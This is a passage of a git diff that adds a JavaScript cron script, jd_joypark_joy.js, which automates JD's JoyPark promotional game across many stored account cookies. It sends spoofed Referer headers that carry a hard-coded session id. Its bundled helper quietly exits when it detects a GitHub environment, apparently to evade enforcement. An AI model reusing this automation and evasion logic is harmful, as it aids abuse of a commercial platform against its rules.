JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_joypark_joy.js b/jd_joypark_joy.js new file mode 100755 index 0000000..8ebda11 --- /dev/null +++ b/jd_joypark_joy.js @@ -0,0 +1,420 @@ +/* +ENV +JOYPARK_JOY_START = 只做前几个CK +JOY_COIN_MAXIMIZE = 最大化硬币收益,如果合成后全部挖土后还有空位,则开启此模式(默认关闭) 0关闭 1开启 + +请确保新用户助力过开工位,否则开启游戏了就不算新用户,后面就不能助力开工位了!!!!!!!!!! + +更新地址:https://github.com/Tsukasa007/my_script + +============Quantumultx=============== +[task_local] +#汪汪乐园养joy +20 0-23/3 * * * jd_joypark_joy.js, tag=汪汪乐园养joy, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_joy.png, enabled=true + +================Loon============== +[Script] +cron "20 0-23/3 * * *" script-path=jd_joypark_joy.js,tag=汪汪乐园养joy + +===============Surge================= +汪汪乐园养joy = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_joy.js + +============小火箭========= +汪汪乐园养joy = type=cron,script-path=jd_joypark_joy.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园养joy'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//最大化硬币收益模式 +$.JOY_COIN_MAXIMIZE = process.env.JOY_COIN_MAXIMIZE === '1' +$.log(`最大化收益模式: 已${$.JOY_COIN_MAXIMIZE ? `默认已开启` : `关闭`} `) + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + $.user_agent = require('./USER_AGENTS').USER_AGENT + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (process.env.JD_JOY_PARK && process.env.JD_JOY_PARK === 'false') { + console.log(`\n******检测到您设置了不运行汪汪乐园,停止运行此脚本******\n`) + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + //$.wait(50) + if (process.env.JOYPARK_JOY_START && i == process.env.JOYPARK_JOY_START){ + console.log(`\n汪汪乐园养joy 只运行 ${process.env.JOYPARK_JOY_START} 个Cookie\n`); + break + } + + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.maxJoyCount = 10 + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + + //下地后还有有钱买Joy并且买了Joy + $.hasJoyCoin = true + await getJoyBaseInfo(undefined,undefined,undefined,true); + $.activityJoyList = [] + $.workJoyInfoList = [] + await getJoyList(true); + await getGameShopList() + //清理工位 + await doJoyMoveDownAll($.workJoyInfoList) + //从低合到高 + await doJoyMergeAll($.activityJoyList) + await getJoyList(true) + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +function getJoyBaseInfo(taskId = '',inviteType = '',inviterPin = '',printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=1625480372020&appid=activities_platform`,`joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`等级: ${data.data.level}|金币: ${data.data.joyCoin}`); + } + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve($.joyBaseInfo); + } + }) + }) +} + +function getJoyList(printLog = false){ + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`,`joyList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`\n===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 start =====`) + $.log("在逛街的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + for (let i = 0; i < data.data.activityJoyList.length; i++) { + //$.wait(50); + $.log(`id:${data.data.activityJoyList[i].id}|name: ${data.data.activityJoyList[i].name}|level: ${data.data.activityJoyList[i].level}`); + } + $.log("\n在铲土的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + for (let i = 0; i < data.data.workJoyInfoList.length; i++) { + //$.wait(50) + $.log(`工位: ${data.data.workJoyInfoList[i].location} [${data.data.workJoyInfoList[i].unlock ? `已开` : `未开`}]|joy= ${data.data.workJoyInfoList[i].joyDTO ? `id:${data.data.workJoyInfoList[i].joyDTO.id}|name: ${data.data.workJoyInfoList[i].joyDTO.name}|level: ${data.data.workJoyInfoList[i].joyDTO.level}` : `毛都没有`}`) + } + $.log(`===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 end =====\n`) + } + $.activityJoyList = data.data.activityJoyList + $.workJoyInfoList = data.data.workJoyInfoList + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getGameShopList(){ + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`,`gameShopList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + //排除不能购买的 + data = JSON.parse(data).data.filter(row => row.shopStatus === 1); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doJoyMoveUpAll(activityJoyList, workJoyInfoList) { + let workJoyInfoUnlockList = workJoyInfoList.filter(row => row.unlock && row.joyDTO === null) + if (activityJoyList.length !== 0 && workJoyInfoUnlockList.length !== 0) { + let maxLevelJoy = Math.max.apply(Math, activityJoyList.map(o => o.level)) + let maxLevelJoyList = activityJoyList.filter(row => row.level === maxLevelJoy) + $.log(`下地干活! joyId= ${maxLevelJoyList[0].id} location= ${workJoyInfoUnlockList[0].location}`) + await doJoyMove(maxLevelJoyList[0].id, workJoyInfoUnlockList[0].location) + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + // else if ($.JOY_COIN_MAXIMIZE) { + // await joyCoinMaximize(workJoyInfoUnlockList) + // } + +} + +async function joyCoinMaximize(workJoyInfoUnlockList) { + if (workJoyInfoUnlockList.length !== 0 && $.hasJoyCoin) { + $.log(`竟然还有工位挖土?开启瞎买瞎下地模式!`); + let joyBaseInfo = await getJoyBaseInfo() + let joyCoin = joyBaseInfo.joyCoin + $.log(`还有${joyCoin}金币,看看还能买啥下地`) + let shopList = await getGameShopList() + let newBuyCount = false; + for (let i = shopList.length - 1;i >= 0 && i - 3 >= 0;i--){ //向下买3级 + if (joyCoin > shopList[i].consume) { + $.log(`买一只 ${shopList[i].userLevel}级的!`); + joyCoin = joyCoin - shopList[i].consume; + let buyResp = await doJoyBuy(shopList[i].userLevel); + if (!buyResp.success) { + break; + } else { + newBuyCount = true + $.hasJoyCoin = false + i++ + } + } + } + $.hasJoyCoin = false + if (newBuyCount) { + await getJoyList() + await doJoyMoveUpAll($.activityJoyList,$.workJoyInfoList) + await getJoyBaseInfo(); + } + } +} + +async function doJoyMoveDownAll(workJoyInfoList) { + if (workJoyInfoList.filter(row => row.joyDTO).length === 0) { + $.log(`工位清理完成!`) + return true + } + for (let i = 0; i < workJoyInfoList.length; i++) { + //$.wait(50) + if (workJoyInfoList[i].unlock && workJoyInfoList[i].joyDTO) { + $.log(`从工位移除 => id:${workJoyInfoList[i].joyDTO.id}|name: ${workJoyInfoList[i].joyDTO.name}|level: ${workJoyInfoList[i].joyDTO.level}`) + await doJoyMove(workJoyInfoList[i].joyDTO.id, 0) + } + } + //check + await getJoyList() + await doJoyMoveDownAll($.workJoyInfoList) +} + +async function doJoyMergeAll(activityJoyList) { + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + let joyMinLevelArr = activityJoyList.filter(row => row.level === minLevel); + let joyBaseInfo = await getJoyBaseInfo() + let fastBuyLevel = joyBaseInfo.fastBuyLevel + if (joyMinLevelArr.length >= 2) { + $.log(`开始合成 ${minLevel} ${joyMinLevelArr[0].id} <=> ${joyMinLevelArr[1].id} 【限流严重,2秒后合成!如失败会重试】`); + await $.wait(2000) + await doJoyMerge(joyMinLevelArr[0].id, joyMinLevelArr[1].id); + await getJoyList() + await doJoyMergeAll($.activityJoyList) + } else if (joyMinLevelArr.length === 1 && joyMinLevelArr[0].level < fastBuyLevel) { + let buyResp = await doJoyBuy(joyMinLevelArr[0].level,$.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } else { + $.log(`没有需要合成的joy 开始买买买🛒🛒🛒🛒🛒🛒🛒🛒`) + $.log(`现在最高可以购买: ${fastBuyLevel} 购买 ${fastBuyLevel} 的joy 你还有${joyBaseInfo.joyCoin}金币`) + let buyResp = await doJoyBuy(fastBuyLevel,$.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } +} + +function doJoyMove(joyId,location){ + //await $.wait(20) + return new Promise(resolve => { + $.post(taskGetClientActionUrl(`body={"joyId":${joyId},"location":${location},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`,`joyMove`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (location !== 0) { + $.log(`下地完成了!`); + } + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function doJoyMerge(joyId1,joyId2){ + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`body={"joyOneId":${joyId1},"joyTwoId":${joyId2},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`,`joyMergeGet`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + } else { + data = JSON.parse(data); + $.log(`合成 ${joyId1} <=> ${joyId2} ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +async function doJoyBuy(level,activityJoyList){ + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"level":${level},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`,`joyBuy`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let codeMsg = '【不知道啥意思】' + switch (data.code) { + case 519: + codeMsg = '【没钱了】'; + break + case 518: + codeMsg = '【没空位】'; + if (activityJoyList) {//正常买模式 + $.log(`因为购买 ${level}级🐶 没空位 所以我要删掉比低级的狗了`); + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + await doJoyRecovery(activityJoyList.filter(row => row.level === minLevel)[0].id); + } + break + case 0: + codeMsg = '【OK】'; + break + } + + $.log(`购买joy level: ${level} ${data.success ? `成功!` : `失败!${data.errMsg} code=${data.code}`} code的意思是=${codeMsg}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRecovery(joyId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"joyId":${joyId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`,`joyRecovery`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + } else { + data = JSON.parse(data); + $.log(`回收🐶 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostClientActionUrl(body,functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId?`functionId=${functionId}`:``}`, + body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Origin':'https://joypark.jd.com', + 'Referer':'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function taskGetClientActionUrl(body,functionId) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}${body ? `&${body}` : ``}`, + // body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Origin':'https://joypark.jd.com', + 'Referer':'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.388006&lat=22.512549&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let 